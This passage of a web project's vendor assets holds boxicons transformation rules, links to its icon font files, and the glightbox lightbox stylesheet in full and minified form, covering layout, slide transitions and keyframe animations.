| -ms-filter: 'progid:DXImageTransform.Microsoft.BasicImage(rotation=2)'; 12 | } 13 | .bx-rotate-270 14 | { 15 | transform: rotate(270deg); 16 | 17 | -ms-filter: 'progid:DXImageTransform.Microsoft.BasicImage(rotation=3)'; 18 | } 19 | .bx-flip-horizontal 20 | { 21 | transform: scaleX(-1); 22 | 23 | -ms-filter: 'progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)'; 24 | } 25 | .bx-flip-vertical 26 | { 27 | transform: scaleY(-1); 28 | 29 | -ms-filter: 'progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)'; 30 | } 31 | -------------------------------------------------------------------------------- /assets/vendor/boxicons/fonts/boxicons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/vendor/boxicons/fonts/boxicons.eot -------------------------------------------------------------------------------- /assets/vendor/boxicons/fonts/boxicons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/vendor/boxicons/fonts/boxicons.ttf -------------------------------------------------------------------------------- /assets/vendor/boxicons/fonts/boxicons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/vendor/boxicons/fonts/boxicons.woff -------------------------------------------------------------------------------- /assets/vendor/boxicons/fonts/boxicons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/vendor/boxicons/fonts/boxicons.woff2 -------------------------------------------------------------------------------- /assets/vendor/glightbox/css/glightbox.css: -------------------------------------------------------------------------------- 1 | .glightbox-container { 2 | width: 100%; 3 | height: 100%; 4 | position: fixed; 5 | top: 0; 6 | left: 0; 7 | z-index: 999999 !important; 8 | overflow: hidden; 9 | -ms-touch-action: none; 10 | touch-action: none; 11 | -webkit-text-size-adjust: 100%; 12 | -moz-text-size-adjust: 100%; 13 | -ms-text-size-adjust: 100%; 14 | text-size-adjust: 100%; 15 | -webkit-backface-visibility: hidden; 16 | backface-visibility: hidden; 17 | outline: none; 18 | } 19 | 20 | .glightbox-container.inactive { 21 | display: none; 22 | } 23 | 24 | .glightbox-container .gcontainer { 25 | position: relative; 26 | width: 100%; 27 | height: 100%; 28 | z-index: 9999; 29 | overflow: hidden; 30 | } 31 | 32 | .glightbox-container .gslider { 33 | -webkit-transition: -webkit-transform 0.4s ease; 34 | transition: -webkit-transform 0.4s ease; 35 | transition: transform 0.4s ease; 36 | transition: transform 0.4s ease, -webkit-transform 0.4s ease; 37 | height: 100%; 38 | left: 0; 39 | top: 0; 40 | width: 100%; 41 | position: relative; 42 | overflow: hidden; 43 | display: -webkit-box !important; 44 | display: -ms-flexbox !important; 45 | display: flex !important; 46 | -webkit-box-pack: center; 47 | -ms-flex-pack: center; 48 | justify-content: center; 49 | -webkit-box-align: center; 50 | -ms-flex-align: center; 51 | align-items: center; 52 | -webkit-transform: translate3d(0, 0, 0); 53 | transform: translate3d(0, 0, 0); 54 | } 55 | 56 | .glightbox-container .gslide { 57 | width: 100%; 58 | position: absolute; 59 | -webkit-user-select: none; 60 | -moz-user-select: none; 61 | -ms-user-select: none; 62 | user-select: none; 63 | display: -webkit-box; 64 | display: -ms-flexbox; 65 | display: flex; 66 | -webkit-box-align: center; 67 | -ms-flex-align: center; 68 | align-items: center; 69 | -webkit-box-pack: center; 70 | -ms-flex-pack: center; 71 | justify-content: center; 72 | opacity: 0; 73 | } 74 | 75 | .glightbox-container .gslide.current { 76 | opacity: 1; 77 | z-index: 99999; 78 | position: relative; 79 | } 80 | 81 | .glightbox-container .gslide.prev { 82 | opacity: 1; 83 | z-index: 9999; 84 | } 85 | 86 | .glightbox-container .gslide-inner-content { 87 | width: 100%; 88 | } 89 | 90 | .glightbox-container .ginner-container { 91 | position: relative; 92 | width: 100%; 93 | display: -webkit-box; 94 | display: -ms-flexbox; 95 | display: flex; 96 | -webkit-box-pack: center; 97 | -ms-flex-pack: center; 98 | justify-content: center; 99 | -webkit-box-orient: vertical; 100 | -webkit-box-direction: normal; 101 | -ms-flex-direction: column; 102 | flex-direction: column; 103 | max-width: 100%; 104 | margin: auto; 105 | height: 100vh; 106 | } 107 | 108 | .glightbox-container .ginner-container.gvideo-container { 109 | width: 100%; 110 | } 111 | 112 | .glightbox-container .ginner-container.desc-bottom, 113 | .glightbox-container .ginner-container.desc-top { 114 | -webkit-box-orient: vertical; 115 | -webkit-box-direction: normal; 116 | -ms-flex-direction: column; 117 | flex-direction: column; 118 | } 119 | 120 | .glightbox-container .ginner-container.desc-left, 121 | .glightbox-container .ginner-container.desc-right { 122 | max-width: 100% !important; 123 | } 124 | 125 | .gslide iframe, 126 | .gslide video { 127 | outline: none !important; 128 | border: none; 129 | min-height: 165px; 130 | -webkit-overflow-scrolling: touch; 131 | -ms-touch-action: auto; 132 | touch-action: auto; 133 | } 134 | 135 | .gslide:not(.current) { 136 | pointer-events: none; 137 | } 138 | 139 | .gslide-image { 140 | -webkit-box-align: center; 141 | -ms-flex-align: center; 142 | align-items: center; 143 | } 144 | 145 | .gslide-image img { 146 | max-height: 100vh; 147 | display: block; 148 | padding: 0; 149 | float: none; 150 | outline: none; 151 | border: none; 152 | -webkit-user-select: none; 153 | -moz-user-select: none; 154 | -ms-user-select: none; 155 | user-select: none; 156 | max-width: 100vw; 157 | width: auto; 158 | height: auto; 159 | -o-object-fit: cover; 160 | object-fit: cover; 161 | -ms-touch-action: none; 162 | touch-action: none; 163 | margin: auto; 164 | min-width: 200px; 165 | } 166 | 167 | .desc-top .gslide-image img, 168 | .desc-bottom .gslide-image img { 169 | width: auto; 170 | } 171 | 172 | .desc-left .gslide-image img, 173 | .desc-right .gslide-image img { 174 | width: auto; 175 | max-width: 100%; 176 | } 177 | 178 | .gslide-image img.zoomable { 179 | position: relative; 180 | } 181 | 182 | .gslide-image img.dragging { 183 | cursor: -webkit-grabbing !important; 184 | cursor: grabbing !important; 185 | -webkit-transition: none; 186 | transition: none; 187 | } 188 | 189 | .gslide-video { 190 | position: relative; 191 | max-width: 100vh; 192 | width: 100% !important; 193 | } 194 | 195 | .gslide-video .plyr__poster-enabled.plyr--loading .plyr__poster { 196 | display: none; 197 | } 198 | 199 | .gslide-video .gvideo-wrapper { 200 | width: 100%; 201 | /* max-width: 160vmin; */ 202 | margin: auto; 203 | } 204 | 205 | .gslide-video::before { 206 | content: ''; 207 | position: absolute; 208 | width: 100%; 209 | height: 100%; 210 | background: rgba(255, 0, 0, 0.34); 211 | display: none; 212 | } 213 | 214 | .gslide-video.playing::before { 215 | display: none; 216 | } 217 | 218 | .gslide-video.fullscreen { 219 | max-width: 100% !important; 220 | min-width: 100%; 221 | height: 75vh; 222 | } 223 | 224 | .gslide-video.fullscreen video { 225 | max-width: 100% !important; 226 | width: 100% !important; 227 | } 228 | 229 | .gslide-inline { 230 | background: #fff; 231 | text-align: left; 232 | max-height: calc(100vh - 40px); 233 | overflow: auto; 234 | max-width: 100%; 235 | margin: auto; 236 | } 237 | 238 | .gslide-inline .ginlined-content { 239 | padding: 20px; 240 | width: 100%; 241 | } 242 | 243 | .gslide-inline .dragging { 244 | cursor: -webkit-grabbing !important; 245 | cursor: grabbing !important; 246 | -webkit-transition: none; 247 | transition: none; 248 | } 249 | 250 | .ginlined-content { 251 | overflow: auto; 252 | display: block !important; 253 | opacity: 1; 254 | } 255 | 256 | .gslide-external { 257 | display: -webkit-box; 258 | display: -ms-flexbox; 259 | display: flex; 260 | width: 100%; 261 | min-width: 100%; 262 | background: #fff; 263 | padding: 0; 264 | overflow: auto; 265 | max-height: 75vh; 266 | height: 100%; 267 | } 268 | 269 | .gslide-media { 270 | display: -webkit-box; 271 | display: -ms-flexbox; 272 | display: flex; 273 | width: auto; 274 | } 275 | 276 | .zoomed .gslide-media { 277 | -webkit-box-shadow: none !important; 278 | box-shadow: none !important; 279 | } 280 | 281 | .desc-top .gslide-media, 282 | .desc-bottom .gslide-media { 283 | margin: 0 auto; 284 | -webkit-box-orient: vertical; 285 | -webkit-box-direction: normal; 286 | -ms-flex-direction: column; 287 | flex-direction: column; 288 | } 289 | 290 | .gslide-description { 291 | position: relative; 292 | -webkit-box-flex: 1; 293 | -ms-flex: 1 0 100%; 294 | flex: 1 0 100%; 295 | } 296 | 297 | .gslide-description.description-left, 298 | .gslide-description.description-right { 299 | max-width: 100%; 300 | } 301 | 302 | .gslide-description.description-bottom, 303 | .gslide-description.description-top { 304 | margin: 0 auto; 305 | width: 100%; 306 | } 307 | 308 | .gslide-description p { 309 | margin-bottom: 12px; 310 | } 311 | 312 | .gslide-description p:last-child { 313 | margin-bottom: 0; 314 | } 315 | 316 | .zoomed .gslide-description { 317 | display: none; 318 | } 319 | 320 | .glightbox-button-hidden { 321 | display: none; 322 | } 323 | 324 | 325 | /* 326 | * Description for mobiles 327 | * something like facebook does the description 328 | * for the photos 329 | */ 330 | 331 | .glightbox-mobile .glightbox-container .gslide-description { 332 | height: auto !important; 333 | width: 100%; 334 | position: absolute; 335 | bottom: 0; 336 | padding: 19px 11px; 337 | max-width: 100vw !important; 338 | -webkit-box-ordinal-group: 3 !important; 339 | -ms-flex-order: 2 !important; 340 | order: 2 !important; 341 | max-height: 78vh; 342 | overflow: auto !important; 343 | background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.75))); 344 | background: linear-gradient(to bottom, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.75) 100%); 345 | -webkit-transition: opacity 0.3s linear; 346 | transition: opacity 0.3s linear; 347 | padding-bottom: 50px; 348 | } 349 | 350 | .glightbox-mobile .glightbox-container .gslide-title { 351 | color: #fff; 352 | font-size: 1em; 353 | } 354 | 355 | .glightbox-mobile .glightbox-container .gslide-desc { 356 | color: #a1a1a1; 357 | } 358 | 359 | .glightbox-mobile .glightbox-container .gslide-desc a { 360 | color: #fff; 361 | font-weight: bold; 362 | } 363 | 364 | .glightbox-mobile .glightbox-container .gslide-desc * { 365 | color: inherit; 366 | } 367 | 368 | .glightbox-mobile .glightbox-container .gslide-desc .desc-more { 369 | color: #fff; 370 | opacity: 0.4; 371 | } 372 | 373 | .gdesc-open .gslide-media { 374 | -webkit-transition: opacity 0.5s ease; 375 | transition: opacity 0.5s ease; 376 | opacity: 0.4; 377 | } 378 | 379 | .gdesc-open .gdesc-inner { 380 | padding-bottom: 30px; 381 | } 382 | 383 | .gdesc-closed .gslide-media { 384 | -webkit-transition: opacity 0.5s ease; 385 | transition: opacity 0.5s ease; 386 | opacity: 1; 387 | } 388 | 389 | .greset { 390 | -webkit-transition: all 0.3s ease; 391 | transition: all 0.3s ease; 392 | } 393 | 394 | .gabsolute { 395 | position: absolute; 396 | } 397 | 398 | .grelative { 399 | position: relative; 400 | } 401 | 402 | .glightbox-desc { 403 | display: none !important; 404 | } 405 | 406 | .glightbox-open { 407 | overflow: hidden; 408 | } 409 | 410 | .gloader { 411 | height: 25px; 412 | width: 25px; 413 | -webkit-animation: lightboxLoader 0.8s infinite linear; 414 | animation: lightboxLoader 0.8s infinite linear; 415 | border: 2px solid #fff; 416 | border-right-color: transparent; 417 | border-radius: 50%; 418 | position: absolute; 419 | display: block; 420 | z-index: 9999; 421 | left: 0; 422 | right: 0; 423 | margin: 0 auto; 424 | top: 47%; 425 | } 426 | 427 | .goverlay { 428 | width: 100%; 429 | height: calc(100vh + 1px); 430 | position: fixed; 431 | top: -1px; 432 | left: 0; 433 | background: #000; 434 | will-change: opacity; 435 | } 436 | 437 | .glightbox-mobile .goverlay { 438 | background: #000; 439 | } 440 | 441 | .gprev, 442 | .gnext, 443 | .gclose { 444 | z-index: 99999; 445 | cursor: pointer; 446 | width: 26px; 447 | height: 44px; 448 | border: none; 449 | display: -webkit-box; 450 | display: -ms-flexbox; 451 | display: flex; 452 | -webkit-box-pack: center; 453 | -ms-flex-pack: center; 454 | justify-content: center; 455 | -webkit-box-align: center; 456 | -ms-flex-align: center; 457 | align-items: center; 458 | -webkit-box-orient: vertical; 459 | -webkit-box-direction: normal; 460 | -ms-flex-direction: column; 461 | flex-direction: column; 462 | } 463 | 464 | .gprev svg, 465 | .gnext svg, 466 | .gclose svg { 467 | display: block; 468 | width: 25px; 469 | height: auto; 470 | margin: 0; 471 | padding: 0; 472 | } 473 | 474 | .gprev.disabled, 475 | .gnext.disabled, 476 | .gclose.disabled { 477 | opacity: 0.1; 478 | } 479 | 480 | .gprev .garrow, 481 | .gnext .garrow, 482 | .gclose .garrow { 483 | stroke: #fff; 484 | } 485 | 486 | .gbtn.focused { 487 | outline: 2px solid #0f3d81; 488 | } 489 | 490 | iframe.wait-autoplay { 491 | opacity: 0; 492 | } 493 | 494 | .glightbox-closing .gnext, 495 | .glightbox-closing .gprev, 496 | .glightbox-closing .gclose { 497 | opacity: 0 !important; 498 | } 499 | 500 | 501 | /*Skin */ 502 | 503 | .glightbox-clean .gslide-description { 504 | background: #fff; 505 | } 506 | 507 | .glightbox-clean .gdesc-inner { 508 | padding: 22px 20px; 509 | } 510 | 511 | .glightbox-clean .gslide-title { 512 | font-size: 1em; 513 | font-weight: normal; 514 | font-family: arial; 515 | color: #000; 516 | margin-bottom: 19px; 517 | line-height: 1.4em; 518 | } 519 | 520 | .glightbox-clean .gslide-desc { 521 | font-size: 0.86em; 522 | margin-bottom: 0; 523 | font-family: arial; 524 | line-height: 1.4em; 525 | } 526 | 527 | .glightbox-clean .gslide-video { 528 | background: #000; 529 | } 530 | 531 | .glightbox-clean .gprev, 532 | .glightbox-clean .gnext, 533 | .glightbox-clean .gclose { 534 | background-color: rgba(0, 0, 0, 0.75); 535 | border-radius: 4px; 536 | } 537 | 538 | .glightbox-clean .gprev path, 539 | .glightbox-clean .gnext path, 540 | .glightbox-clean .gclose path { 541 | fill: #fff; 542 | } 543 | 544 | .glightbox-clean .gprev { 545 | position: absolute; 546 | top: -100%; 547 | left: 30px; 548 | width: 40px; 549 | height: 50px; 550 | } 551 | 552 | .glightbox-clean .gnext { 553 | position: absolute; 554 | top: -100%; 555 | right: 30px; 556 | width: 40px; 557 | height: 50px; 558 | } 559 | 560 | .glightbox-clean .gclose { 561 | width: 35px; 562 | height: 35px; 563 | top: 15px; 564 | right: 10px; 565 | position: absolute; 566 | } 567 | 568 | .glightbox-clean .gclose svg { 569 | width: 18px; 570 | height: auto; 571 | } 572 | 573 | .glightbox-clean .gclose:hover { 574 | opacity: 1; 575 | } 576 | 577 | 578 | /*CSS Animations*/ 579 | 580 | .gfadeIn { 581 | -webkit-animation: gfadeIn 0.5s ease; 582 | animation: gfadeIn 0.5s ease; 583 | } 584 | 585 | .gfadeOut { 586 | -webkit-animation: gfadeOut 0.5s ease; 587 | animation: gfadeOut 0.5s ease; 588 | } 589 | 590 | .gslideOutLeft { 591 | -webkit-animation: gslideOutLeft 0.3s ease; 592 | animation: gslideOutLeft 0.3s ease; 593 | } 594 | 595 | .gslideInLeft { 596 | -webkit-animation: gslideInLeft 0.3s ease; 597 | animation: gslideInLeft 0.3s ease; 598 | } 599 | 600 | .gslideOutRight { 601 | -webkit-animation: gslideOutRight 0.3s ease; 602 | animation: gslideOutRight 0.3s ease; 603 | } 604 | 605 | .gslideInRight { 606 | -webkit-animation: gslideInRight 0.3s ease; 607 | animation: gslideInRight 0.3s ease; 608 | } 609 | 610 | .gzoomIn { 611 | -webkit-animation: gzoomIn 0.5s ease; 612 | animation: gzoomIn 0.5s ease; 613 | } 614 | 615 | .gzoomOut { 616 | -webkit-animation: gzoomOut 0.5s ease; 617 | animation: gzoomOut 0.5s ease; 618 | } 619 | 620 | @-webkit-keyframes lightboxLoader { 621 | 0% { 622 | -webkit-transform: rotate(0deg); 623 | transform: rotate(0deg); 624 | } 625 | 100% { 626 | -webkit-transform: rotate(360deg); 627 | transform: rotate(360deg); 628 | } 629 | } 630 | 631 | @keyframes lightboxLoader { 632 | 0% { 633 | -webkit-transform: rotate(0deg); 634 | transform: rotate(0deg); 635 | } 636 | 100% { 637 | -webkit-transform: rotate(360deg); 638 | transform: rotate(360deg); 639 | } 640 | } 641 | 642 | @-webkit-keyframes gfadeIn { 643 | from { 644 | opacity: 0; 645 | } 646 | to { 647 | opacity: 1; 648 | } 649 | } 650 | 651 | @keyframes gfadeIn { 652 | from { 653 | opacity: 0; 654 | } 655 | to { 656 | opacity: 1; 657 | } 658 | } 659 | 660 | @-webkit-keyframes gfadeOut { 661 | from { 662 | opacity: 1; 663 | } 664 | to { 665 | opacity: 0; 666 | } 667 | } 668 | 669 | @keyframes gfadeOut { 670 | from { 671 | opacity: 1; 672 | } 673 | to { 674 | opacity: 0; 675 | } 676 | } 677 | 678 | @-webkit-keyframes gslideInLeft { 679 | from { 680 | opacity: 0; 681 | -webkit-transform: translate3d(-60%, 0, 0); 682 | transform: translate3d(-60%, 0, 0); 683 | } 684 | to { 685 | visibility: visible; 686 | -webkit-transform: translate3d(0, 0, 0); 687 | transform: translate3d(0, 0, 0); 688 | opacity: 1; 689 | } 690 | } 691 | 692 | @keyframes gslideInLeft { 693 | from { 694 | opacity: 0; 695 | -webkit-transform: translate3d(-60%, 0, 0); 696 | transform: translate3d(-60%, 0, 0); 697 | } 698 | to { 699 | visibility: visible; 700 | -webkit-transform: translate3d(0, 0, 0); 701 | transform: translate3d(0, 0, 0); 702 | opacity: 1; 703 | } 704 | } 705 | 706 | @-webkit-keyframes gslideOutLeft { 707 | from { 708 | opacity: 1; 709 | visibility: visible; 710 | -webkit-transform: translate3d(0, 0, 0); 711 | transform: translate3d(0, 0, 0); 712 | } 713 | to { 714 | -webkit-transform: translate3d(-60%, 0, 0); 715 | transform: translate3d(-60%, 0, 0); 716 | opacity: 0; 717 | visibility: hidden; 718 | } 719 | } 720 | 721 | @keyframes gslideOutLeft { 722 | from { 723 | opacity: 1; 724 | visibility: visible; 725 | -webkit-transform: translate3d(0, 0, 0); 726 | transform: translate3d(0, 0, 0); 727 | } 728 | to { 729 | -webkit-transform: translate3d(-60%, 0, 0); 730 | transform: translate3d(-60%, 0, 0); 731 | opacity: 0; 732 | visibility: hidden; 733 | } 734 | } 735 | 736 | @-webkit-keyframes gslideInRight { 737 | from { 738 | opacity: 0; 739 | visibility: visible; 740 | -webkit-transform: translate3d(60%, 0, 0); 741 | transform: translate3d(60%, 0, 0); 742 | } 743 | to { 744 | -webkit-transform: translate3d(0, 0, 0); 745 | transform: translate3d(0, 0, 0); 746 | opacity: 1; 747 | } 748 | } 749 | 750 | @keyframes gslideInRight { 751 | from { 752 | opacity: 0; 753 | visibility: visible; 754 | -webkit-transform: translate3d(60%, 0, 0); 755 | transform: translate3d(60%, 0, 0); 756 | } 757 | to { 758 | -webkit-transform: translate3d(0, 0, 0); 759 | transform: translate3d(0, 0, 0); 760 | opacity: 1; 761 | } 762 | } 763 | 764 | @-webkit-keyframes gslideOutRight { 765 | from { 766 | opacity: 1; 767 | visibility: visible; 768 | -webkit-transform: translate3d(0, 0, 0); 769 | transform: translate3d(0, 0, 0); 770 | } 771 | to { 772 | -webkit-transform: translate3d(60%, 0, 0); 773 | transform: translate3d(60%, 0, 0); 774 | opacity: 0; 775 | } 776 | } 777 | 778 | @keyframes gslideOutRight { 779 | from { 780 | opacity: 1; 781 | visibility: visible; 782 | -webkit-transform: translate3d(0, 0, 0); 783 | transform: translate3d(0, 0, 0); 784 | } 785 | to { 786 | -webkit-transform: translate3d(60%, 0, 0); 787 | transform: translate3d(60%, 0, 0); 788 | opacity: 0; 789 | } 790 | } 791 | 792 | @-webkit-keyframes gzoomIn { 793 | from { 794 | opacity: 0; 795 | -webkit-transform: scale3d(0.3, 0.3, 0.3); 796 | transform: scale3d(0.3, 0.3, 0.3); 797 | } 798 | to { 799 | opacity: 1; 800 | } 801 | } 802 | 803 | @keyframes gzoomIn { 804 | from { 805 | opacity: 0; 806 | -webkit-transform: scale3d(0.3, 0.3, 0.3); 807 | transform: scale3d(0.3, 0.3, 0.3); 808 | } 809 | to { 810 | opacity: 1; 811 | } 812 | } 813 | 814 | @-webkit-keyframes gzoomOut { 815 | from { 816 | opacity: 1; 817 | } 818 | 50% { 819 | opacity: 0; 820 | -webkit-transform: scale3d(0.3, 0.3, 0.3); 821 | transform: scale3d(0.3, 0.3, 0.3); 822 | } 823 | to { 824 | opacity: 0; 825 | } 826 | } 827 | 828 | @keyframes gzoomOut { 829 | from { 830 | opacity: 1; 831 | } 832 | 50% { 833 | opacity: 0; 834 | -webkit-transform: scale3d(0.3, 0.3, 0.3); 835 | transform: scale3d(0.3, 0.3, 0.3); 836 | } 837 | to { 838 | opacity: 0; 839 | } 840 | } 841 | 842 | @media (min-width: 769px) { 843 | .glightbox-container .ginner-container { 844 | width: auto; 845 | height: auto; 846 | -webkit-box-orient: horizontal; 847 | -webkit-box-direction: normal; 848 | -ms-flex-direction: row; 849 | flex-direction: row; 850 | } 851 | .glightbox-container .ginner-container.desc-top .gslide-description { 852 | -webkit-box-ordinal-group: 1; 853 | -ms-flex-order: 0; 854 | order: 0; 855 | } 856 | .glightbox-container .ginner-container.desc-top .gslide-image, 857 | .glightbox-container .ginner-container.desc-top .gslide-image img { 858 | -webkit-box-ordinal-group: 2; 859 | -ms-flex-order: 1; 860 | order: 1; 861 | } 862 | .glightbox-container .ginner-container.desc-left .gslide-description { 863 | -webkit-box-ordinal-group: 1; 864 | -ms-flex-order: 0; 865 | order: 0; 866 | } 867 | .glightbox-container .ginner-container.desc-left .gslide-image { 868 | -webkit-box-ordinal-group: 2; 869 | -ms-flex-order: 1; 870 | order: 1; 871 | } 872 | .gslide-image img { 873 | max-height: 97vh; 874 | max-width: 100%; 875 | } 876 | .gslide-image img.zoomable { 877 | cursor: -webkit-zoom-in; 878 | cursor: zoom-in; 879 | } 880 | .zoomed .gslide-image img.zoomable { 881 | cursor: -webkit-grab; 882 | cursor: grab; 883 | } 884 | .gslide-inline { 885 | max-height: 95vh; 886 | } 887 | .gslide-external { 888 | max-height: 100vh; 889 | } 890 | .gslide-description.description-left, 891 | .gslide-description.description-right { 892 | max-width: 275px; 893 | } 894 | .glightbox-open { 895 | height: auto; 896 | } 897 | .goverlay { 898 | background: rgba(0, 0, 0, 0.92); 899 | } 900 | .glightbox-clean .gslide-media { 901 | -webkit-box-shadow: 1px 2px 9px 0px rgba(0, 0, 0, 0.65); 902 | box-shadow: 1px 2px 9px 0px rgba(0, 0, 0, 0.65); 903 | } 904 | .glightbox-clean .description-left .gdesc-inner, 905 | .glightbox-clean .description-right .gdesc-inner { 906 | position: absolute; 907 | height: 100%; 908 | overflow-y: auto; 909 | } 910 | .glightbox-clean .gprev, 911 | .glightbox-clean .gnext, 912 | .glightbox-clean .gclose { 913 | background-color: rgba(0, 0, 0, 0.32); 914 | } 915 | .glightbox-clean .gprev:hover, 916 | .glightbox-clean .gnext:hover, 917 | .glightbox-clean .gclose:hover { 918 | background-color: rgba(0, 0, 0, 0.7); 919 | } 920 | .glightbox-clean .gprev { 921 | top: 45%; 922 | } 923 | .glightbox-clean .gnext { 924 | top: 45%; 925 | } 926 | } 927 | 928 | @media (min-width: 992px) { 929 | .glightbox-clean .gclose { 930 | opacity: 0.7; 931 | right: 20px; 932 | } 933 | } 934 | 935 | @media screen and (max-height: 420px) { 936 | .goverlay { 937 | background: #000; 938 | } 939 | } 940 | -------------------------------------------------------------------------------- /assets/vendor/glightbox/css/glightbox.min.css: -------------------------------------------------------------------------------- 1 | .glightbox-container{width:100%;height:100%;position:fixed;top:0;left:0;z-index:999999!important;overflow:hidden;-ms-touch-action:none;touch-action:none;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;text-size-adjust:100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;outline:0}.glightbox-container.inactive{display:none}.glightbox-container .gcontainer{position:relative;width:100%;height:100%;z-index:9999;overflow:hidden}.glightbox-container .gslider{-webkit-transition:-webkit-transform .4s ease;transition:-webkit-transform .4s ease;transition:transform .4s ease;transition:transform .4s ease,-webkit-transform .4s ease;height:100%;left:0;top:0;width:100%;position:relative;overflow:hidden;display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.glightbox-container .gslide{width:100%;position:absolute;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;opacity:0}.glightbox-container .gslide.current{opacity:1;z-index:99999;position:relative}.glightbox-container .gslide.prev{opacity:1;z-index:9999}.glightbox-container .gslide-inner-content{width:100%}.glightbox-container .ginner-container{position:relative;width:100%;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;max-width:100%;margin:auto;height:100vh}.glightbox-container .ginner-container.gvideo-container{width:100%}.glightbox-container .ginner-container.desc-bottom,.glightbox-container .ginner-container.desc-top{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.glightbox-container .ginner-container.desc-left,.glightbox-container .ginner-container.desc-right{max-width:100%!important}.gslide iframe,.gslide video{outline:0!important;border:none;min-height:165px;-webkit-overflow-scrolling:touch;-ms-touch-action:auto;touch-action:auto}.gslide:not(.current){pointer-events:none}.gslide-image{-webkit-box-align:center;-ms-flex-align:center;align-items:center}.gslide-image img{max-height:100vh;display:block;padding:0;float:none;outline:0;border:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;max-width:100vw;width:auto;height:auto;-o-object-fit:cover;object-fit:cover;-ms-touch-action:none;touch-action:none;margin:auto;min-width:200px}.desc-bottom .gslide-image img,.desc-top .gslide-image img{width:auto}.desc-left .gslide-image img,.desc-right .gslide-image img{width:auto;max-width:100%}.gslide-image img.zoomable{position:relative}.gslide-image img.dragging{cursor:-webkit-grabbing!important;cursor:grabbing!important;-webkit-transition:none;transition:none}.gslide-video{position:relative;max-width:100vh;width:100%!important}.gslide-video .plyr__poster-enabled.plyr--loading .plyr__poster{display:none}.gslide-video .gvideo-wrapper{width:100%;margin:auto}.gslide-video::before{content:'';position:absolute;width:100%;height:100%;background:rgba(255,0,0,.34);display:none}.gslide-video.playing::before{display:none}.gslide-video.fullscreen{max-width:100%!important;min-width:100%;height:75vh}.gslide-video.fullscreen video{max-width:100%!important;width:100%!important}.gslide-inline{background:#fff;text-align:left;max-height:calc(100vh - 40px);overflow:auto;max-width:100%;margin:auto}.gslide-inline .ginlined-content{padding:20px;width:100%}.gslide-inline .dragging{cursor:-webkit-grabbing!important;cursor:grabbing!important;-webkit-transition:none;transition:none}.ginlined-content{overflow:auto;display:block!important;opacity:1}.gslide-external{display:-webkit-box;display:-ms-flexbox;display:flex;width:100%;min-width:100%;background:#fff;padding:0;overflow:auto;max-height:75vh;height:100%}.gslide-media{display:-webkit-box;display:-ms-flexbox;display:flex;width:auto}.zoomed .gslide-media{-webkit-box-shadow:none!important;box-shadow:none!important}.desc-bottom .gslide-media,.desc-top .gslide-media{margin:0 auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.gslide-description{position:relative;-webkit-box-flex:1;-ms-flex:1 0 100%;flex:1 0 100%}.gslide-description.description-left,.gslide-description.description-right{max-width:100%}.gslide-description.description-bottom,.gslide-description.description-top{margin:0 auto;width:100%}.gslide-description p{margin-bottom:12px}.gslide-description p:last-child{margin-bottom:0}.zoomed .gslide-description{display:none}.glightbox-button-hidden{display:none}.glightbox-mobile .glightbox-container .gslide-description{height:auto!important;width:100%;position:absolute;bottom:0;padding:19px 11px;max-width:100vw!important;-webkit-box-ordinal-group:3!important;-ms-flex-order:2!important;order:2!important;max-height:78vh;overflow:auto!important;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,0)),to(rgba(0,0,0,.75)));background:linear-gradient(to bottom,rgba(0,0,0,0) 0,rgba(0,0,0,.75) 100%);-webkit-transition:opacity .3s linear;transition:opacity .3s linear;padding-bottom:50px}.glightbox-mobile .glightbox-container .gslide-title{color:#fff;font-size:1em}.glightbox-mobile .glightbox-container .gslide-desc{color:#a1a1a1}.glightbox-mobile .glightbox-container .gslide-desc a{color:#fff;font-weight:700}.glightbox-mobile .glightbox-container .gslide-desc *{color:inherit}.glightbox-mobile .glightbox-container .gslide-desc .desc-more{color:#fff;opacity:.4}.gdesc-open .gslide-media{-webkit-transition:opacity .5s ease;transition:opacity .5s ease;opacity:.4}.gdesc-open .gdesc-inner{padding-bottom:30px}.gdesc-closed .gslide-media{-webkit-transition:opacity .5s ease;transition:opacity .5s ease;opacity:1}.greset{-webkit-transition:all .3s ease;transition:all .3s ease}.gabsolute{position:absolute}.grelative{position:relative}.glightbox-desc{display:none!important}.glightbox-open{overflow:hidden}.gloader{height:25px;width:25px;-webkit-animation:lightboxLoader .8s infinite linear;animation:lightboxLoader .8s infinite linear;border:2px solid #fff;border-right-color:transparent;border-radius:50%;position:absolute;display:block;z-index:9999;left:0;right:0;margin:0 auto;top:47%}.goverlay{width:100%;height:calc(100vh + 1px);position:fixed;top:-1px;left:0;background:#000;will-change:opacity}.glightbox-mobile 